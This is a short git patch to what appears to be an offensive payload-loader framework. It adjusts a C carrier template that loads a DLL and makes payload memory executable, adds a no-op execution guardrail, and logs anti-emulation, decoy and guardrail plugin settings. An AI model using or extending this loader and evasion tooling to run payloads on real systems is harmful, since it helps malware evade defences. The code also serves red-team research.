From 4f36e855632d2da3f2a93b043d8b318d450c5e0a Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 17 Jun 2024 09:26:05 +0200 Subject: [PATCH] fix: templates bug --- data/source/carrier/dll_loader_change/template.c | 6 +----- data/source/guardrails/none.c | 1 + model/settings.py | 2 +- supermega.py | 5 +++-- 4 files changed, 6 insertions(+), 8 deletions(-) diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c index 0e4f3e8..2d1382c 100644 --- a/data/source/carrier/dll_loader_change/template.c +++ b/data/source/carrier/dll_loader_change/template.c @@ -42,9 +42,6 @@ void mymemcpy(void* dest, const void* src, size_t n) { DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { - // get this module's image base address - //PVOID imageBase = GetModuleHandleA(NULL); - // dllBase is expected to be page-aligned if ((DWORD_PTR)dllBase & 0xFFF) { @@ -55,7 +52,6 @@ DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; - DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; /* @@ -204,7 +200,7 @@ int main() // Call: Decoy plugin decoy(); - VirtualProtect((LPVOID)dest, 0x7000, PAGE_EXECUTE_READWRITE, &oldProtect); + VirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect); // FROM supermega_payload[] // TO dest[] diff --git a/data/source/guardrails/none.c b/data/source/guardrails/none.c index aa67afe..fcd3621 100644 --- a/data/source/guardrails/none.c +++ b/data/source/guardrails/none.c @@ -1,3 +1,4 @@ int executionguardrail() { // None + return 0; // All OK } \ No newline at end of file diff --git a/model/settings.py b/model/settings.py index 2dc8fbd..507e644 100644 --- a/model/settings.py +++ b/model/settings.py @@ -35,7 +35,7 @@ class Settings(): self.generate_shc_from_asm: bool = True # More - self.fix_missing_iat = False + self.fix_missing_iat = True self.payload_location = PayloadLocation.DATA # directories and filenames diff --git a/supermega.py b/supermega.py index a426605..82487a4 100644 --- a/supermega.py +++ b/supermega.py @@ -146,9 +146,10 @@ def start_real(settings: Settings): project.settings.decoder_style.value, project.settings.carrier_invoke_style.value)) - logger.info("---[ Plugins: AntiEmulation={} Decoy={}".format( + logger.info("---[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format( project.settings.plugin_antiemulation, - project.settings.plugin_decoy) + project.settings.plugin_decoy, + project.settings.plugin_guardrail) ) # FIXUP DLL Payload